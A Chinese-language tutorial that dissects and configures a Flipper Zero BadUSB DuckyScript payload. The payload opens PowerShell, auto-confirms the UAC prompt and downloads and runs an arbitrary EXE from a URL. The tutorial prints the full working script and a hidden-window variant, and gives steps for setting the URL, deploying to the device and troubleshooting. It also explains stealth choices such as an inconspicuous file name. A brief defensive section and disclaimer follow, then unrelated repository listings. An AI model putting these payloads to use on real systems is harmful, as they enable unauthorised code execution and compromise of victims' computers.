Flipper Zero BadUSB 载荷实战:DownloadAnyEXE 下载并执行任意 EXE 的完整配置与原理解析
导读
DownloadAnyEXE 是 Flipper Zero BadUSB 攻击面中的一个典型「执行类(Execution)」载荷,核心功能是一条龙完成「打开 PowerShell → 从指定 URL 下载 .exe → 执行该 .exe」。它由 DuckyScript 1.0 编写,配合内嵌的单行 PowerShell 命令实现免插件的下载执行链。本文将以该载荷的 readme.md 与完整载荷脚本 DownloadAnyEXE.txt 为主体,逐行讲解其运行流程、配置修改方法、UAC 提权细节与底层原理,并对照仓库内同目录的变体载荷,帮助你彻底理解并正确部署这类「远程下载执行」型 BadUSB 脚本。
安全声明:本仓库所有 BadUSB 脚本仅用于教育目的,运行前必须获得目标系统的明确授权。任何误用造成的损失与作者及本文无关。建议在虚拟机中完成全部测试。
载荷概览:三条核心能力
根据 readme.md 的 Features 一节,该载荷的实现目标可归纳为:
- 打开 PowerShell —— 通过 Win+R 运行对话框拉起 PowerShell;
- 从 URL 下载 .exe —— 使用
Invoke-WebRequest从你提供的地址下载文件; - 执行下载的 .exe —— 下载完成后立即以
Start-Process运行该文件。
在 下载脚本头部 的元信息注释中,作者将其标注为:
- 作者:UNC0V3R3D(Discord: UNC0V3R3D#8662)
- 描述:Downloads an .exe file from the URL and runs it on the target pc
- 版本:1.0
- 分类:Execution
注意脚本头部注释没有任何 REM Target: All Windows 之类的目标声明,说明该脚本面向通用 Windows 环境,实际兼容性取决于目标机的 PowerShell 版本与 UAC 配置。
逐行拆解 DuckyScript 载荷
完整载荷脚本位于 DownloadAnyEXE.txt,全文仅 19 行,分为「前置注释」「调起并提权 PowerShell」「输入下载执行命令」三个阶段。下面逐行说明:
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Downloads an .exe file from the URL and runs it on the target pc.
REM Version: 1.0
REM Category: Execution
DELAY 750
WINDOWS d
DELAY 950
WINDOWS r
DELAY 650
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 750
LEFTARROW
ENTER
DELAY 850
ALT y
DELAY 1200
STRING $url = "URL TO EXE"; $output = "C:\windows\41281687.exe"; Invoke-WebRequest -Uri $url -OutFile $output; Start-Process -FilePath "C:\windows\41281687.exe"; exit
ENTER
| 行号 | 指令 | 含义与时机 |
|---|---|---|
| L5 | DELAY 750 |
等待目标机识别 USB 键盘设备(HID 枚举),防止后续击键丢失 |
| L6 | WINDOWS d |
按下 Win+D,最小化所有窗口,清空桌面焦点 |
| L7 | DELAY 950 |
等待系统响应快捷键 |
| L8 | WINDOWS r |
按下 Win+R,呼出「运行」对话框 |
| L9 | DELAY 650 |
等待运行对话框出现 |
| L10 | STRING powershell Start-Process powershell -Verb runAs |
输入一条 PowerShell 命令,目的:以管理员权限再启动一个 PowerShell(这是触发 UAC 的关键一步) |
| L11 | ENTER |
执行上述命令 |
| L12 | DELAY 750 |
等待 UAC 弹窗出现 |
| L13-L14 | LEFTARROW + ENTER |
在 UAC 窗口上按左箭头将焦点移动到「是」按钮并回车确认(对应默认选中「否」的情况) |
| L15 | DELAY 850 |
等待确认生效 |
| L16 | ALT y |
备用确认手段:直接按 Alt+Y 激活 UAC 的「是」按钮 |
| L17 | DELAY 1200 |
等待提权后的管理员 PowerShell 窗口就绪 |
| L18 | STRING $url = ...; exit |
在管理员 PowerShell 中输入一整条单行脚本:定义 URL 变量 → 定义输出路径 → 下载 → 执行 → 退出 |
| L19 | ENTER |
回车触发整条脚本 |
关键设计点 1:为什么要先提权?
载荷把下载文件写入 C:\windows\ 目录,该目录需要管理员权限才能写入。因此脚本先通过 Start-Process powershell -Verb runAs 弹出一个管理员权限的 PowerShell,再在其中执行下载与运行命令,避免出现「目标目录无写权限」的失败。
关键设计点 2:双保险确认 UAC
LEFTARROW + ENTER 与 ALT y 是两个先后执行的确认动作。在不同 Windows 版本/语言环境下,UAC 窗口的默认焦点可能落在「否」上,左箭头可以把焦点移到「是」;ALT y 则是「是(Yes)」按钮的键盘助记键。两条指令叠加,提高了在不同系统上提权成功的概率。这与仓库中其他需提权的脚本(如 StickyKeysSWAP)的思路一致。
关键设计点 3:下载路径与文件名
载荷使用硬编码的输出路径 C:\windows\41281687.exe。文件名 41281687.exe 刻意选用不显眼的数字命名,降低用户关注度;保存到系统目录也便于后续伪装。该路径可以按需修改(例如改到 %TEMP%),但必须保证目标用户对目标目录有写权限。
如何配置:三步完成自定义
readme.md 明确强调:这个脚本不是开箱即用的(not plug and play),必须修改后才能运行。核心修改点只有一个:
修改 .exe 文件的下载地址:
$url = "URL TO EXE"
具体操作步骤:
- 用任意文本编辑器打开 DownloadAnyEXE.txt;
- 将第 18 行中的占位符
"URL TO EXE"替换为你的真实下载地址,例如:$url = "https://example.com/tools/update.exe"; $output = "C:\windows\41281687.exe"; Invoke-WebRequest -Uri $url -OutFile $output; Start-Process -FilePath "C:\windows\41281687.exe"; exit - (可选)若你的文件部署位置不同,同步修改
$output与Start-Process -FilePath中的路径; - 保存文件,注意保持 UTF-8 / ANSI 纯文本格式、无 BOM、无多余空行(仓库 README 的排错章节专门指出随机空行会导致
ERROR: line 5之类的解析错误)。
部署到 Flipper Zero
根据 集合 README 的新手指南:
- 克隆/下载本仓库;
- 使用 PC 上的 qFlipper 应用(或手机端 Flipper Zero 应用)连接 Flipper Zero;
- 将修改好的
DownloadAnyEXE.txt放入 SD 卡 → badusb 目录; - 在 Flipper Zero 上进入 BadUSB 分类,选中该脚本,插上 USB 并按下中间按钮开始执行。
核心 PowerShell 单行命令深度解析
第 18 行本质上是一段被 ; 连接起来的 PowerShell 单行脚本,是整个载荷的功能核心。逐段拆解如下:
$url = "URL TO EXE"; # ① 待下载文件的完整 URL(必须替换占位符)
$output = "C:\windows\41281687.exe"; # ② 保存到本地的路径与文件名
Invoke-WebRequest -Uri $url -OutFile $output; # ③ 发起 HTTP(S) 下载
Start-Process -FilePath "C:\windows\41281687.exe"; # ④ 以新进程执行下载的文件
exit # ⑤ 关闭当前(管理员)PowerShell 窗口,清除痕迹
- ①
$url:唯一必须修改的变量,协议支持http://与https://; - ②
$output:决定文件落盘位置。默认写入C:\windows\,需要管理员权限,这也解释了脚本为何必须先提权; - ③
Invoke-WebRequest -Uri $url -OutFile $output:PowerShell 内置下载命令(PowerShell 3.0+ 可用),无需额外下载工具,也不依赖 IE COM 组件,是 BadUSB 脚本中最高频的下载原语; - ④
Start-Process -FilePath:异步启动新进程执行目标 exe,不等其退出即返回; - ⑤
exit:关闭提权后的 PowerShell 窗口,尽量不留终端痕迹。
与同目录变体载荷的对比
仓库 Execution 目录下还有两个同类载荷,可以对照理解本脚本的设计取舍:
| 载荷 | 脚本路径 | 差异点 |
|---|---|---|
| DownloadAnyEXE | DownloadAnyEXE.txt | 显式提权、写入 C:\windows\、有 UAC 双保险确认 |
| Invisible_DownExec | Invisible_DownExec.txt | 不加提权;以 -WindowStyle Hidden 隐藏窗口;下载到 $Env:temp 并执行 |
| Invisible_DownExec_Zip_Extract | Invisible_DownExec_Zip_Extract.txt | 先下载 zip → Expand-Archive 解压 → 执行包内指定 exe |
例如 Invisible_DownExec.txt 的核心命令为:
Start-Process -FilePath "powershell" -ArgumentList "/c cd $Env:temp;Invoke-WebRequest -Uri 'https://yoursite.com/your_executable.exe' -OutFile 'your_executable.exe'; Start-Process -FilePath '.\your_executable.exe'; exit" -WindowStyle Hidden; exit
可以看出,它把下载与执行整体塞进隐藏窗口的参数列表中,写入 %TEMP% 而非系统目录,因此在无管理员权限的场景下也能运行——这与 DownloadAnyEXE「先提权、写系统目录」的路线互为补充。实际选择哪一个,取决于你的目标是静默(Invisible 系列)还是高权限(DownloadAnyEXE)。
底层原理:DuckyScript 如何变成「键盘」
BadUSB 的本质是 Flipper Zero 模拟 USB HID 键盘,将脚本中的每条指令翻译成真实的键击序列高速发送给目标机。从 集合 README 的说明 中可以确认以下事实:
- 所有 BadUSB 脚本使用 DuckyScript 1.0 语言编写;
- 脚本中的
REM开头的行是注释,作者几乎在每个脚本中都通过REM解释流程; - 真正复杂的是内嵌的 PowerShell 命令,集合中约 97% 的 DuckyScript 都依赖 PowerShell 获得对机器的完全控制权。
映射到本脚本:WINDOWS d、WINDOWS r 对应系统级快捷键(Win+D / Win+R);STRING 对应逐字符输入;ENTER、LEFTARROW、ALT y 对应相应按键。整条链路不依赖目标机预装任何工具,因此对已插入 USB 的设备具备天然的执行能力——这正是此类载荷被称为「BadUSB」的原因,也意味着运行前取得授权是绝对的底线。
常见问题与排错
结合 集合 README 的 Troubleshooting 章节,本脚本最容易踩的坑包括:
- 脚本乱敲、把文字打到错误窗口:通常是
DELAY值过小导致窗口尚未就绪。可把各DELAY数值调大(例如DELAY 750 → DELAY 1000),单位为毫秒。 - 报错
ERROR: line 5之类:检查文本文件是否混入随机空行;确认没有LOCALE ..命令(Flipper 上兼容性不佳);检查出错行行首是否有空格。 - 下载失败/文件未执行:先确认 URL 可公网访问且为直接文件链接(而非跳转页);确认目标机 PowerShell 版本 ≥ 3.0(
Invoke-WebRequest -OutFile的依赖);若目标机开启了 UAC 而脚本未提权成功,写C:\windows\会因权限不足失败——此时可参照 Invisible 系列改写到%TEMP%。 - 测试建议:在虚拟机中测试,切勿在个人主力机上直接运行。
防御视角:如何识别此类攻击
作为技术研究,理解载荷同样服务于防御。DownloadAnyEXE 的攻击特征包括:插入 USB 后瞬间出现键盘输入、运行对话框被呼出、UAC 弹窗自动被「是」确认、PowerShell 执行 Invoke-WebRequest 下载并启动新进程。企业侧可通过以下手段缓解:
- 保持 UAC 默认开启,警惕「自动确认 UAC」的异常键击序列;
- 启用 Windows Defender / EDR 对
Invoke-WebRequest下载与未知 exe 执行的告警; - 限制普通用户的
C:\windows\写入与 PowerShell 的脚本执行策略(Set-ExecutionPolicy); - 对 USB HID 设备插拔行为进行审计。
小结
DownloadAnyEXE 是一个结构清晰、教学价值很高的 DuckyScript 载荷:它用 19 行脚本演示了「调起运行框 → 提权 → 下载 → 执行」的完整链路,且把唯一的关键变量 $url 明确定位为配置点。结合同目录的 Invisible 系列变体与集合 README 的使用规范,你可以快速理解 BadUSB 载荷的通用组织方式,并在授权测试场景下安全地复现与定制。核心资源均在仓库内:
- 载荷脚本:DownloadAnyEXE.txt
- 官方说明:readme.md
- 集合总览与排错:集合 README
- 同类变体:Invisible_DownExec、Invisible_DownExec_Zip_Extract
atomcodeClaude Code 的开源替代方案。连接任意大模型,编辑代码,运行命令,自动验证 — 全自动执行。用 Rust 构建,极致性能。 | An open-source alternative to Claude Code. Connect any LLM, edit code, run commands, and verify changes — autonomously. Built in Rust for speed. Get StartedRust4.24 K638- DDeepSeek-V4.1-FlashDeepSeek-V4.1-Flash 是一个多模态混合专家(MoE)模型,拥有 5520 亿骨干参数,并支持最多一百万 token 的上下文长度。该模型原生支持图像和文本输入,并以自回归方式生成文本Python650
SlideSCIPPT插件,支持素材库、AI助手、一键添加图片标题,复制粘贴位置、一键图片对齐、一键插入Markdown(加粗、超链接等行内样式、代码块、LaTeX等块级样式)、便捷导出图片!C#180
hello-agents📚 《从零开始构建智能体》——从零开始的智能体原理与实践教程Python52774
new-apiAI模型聚合管理中转分发系统,一个应用管理您的所有AI模型,支持将多种大模型转为统一格式调用,支持OpenAI、Claude、Gemini等格式,可供个人或者企业内部管理与分发渠道使用。🍥 A Unified AI Model Management & Distribution System. Aggregate all your LLMs into one app and access them via an OpenAI-compatible API, with native support for Claude (Messages) and Gemini formats.Go22545
JeecgBoot🔥企业级低代码平台集成了AI应用平台,帮助企业快速实现低代码开发和构建AI应用!前后端分离架构 SpringBoot,SpringCloud、Mybatis,Ant Design4、 Vue3.0、TS+vite!强大的代码生成器让前后端代码一键生成,无需写任何代码! 引领AI低代码开发模式: AI生成->OnlineCoding-> 代码生成-> 手工MERGE,显著的提高效率,又不失灵活~Java36351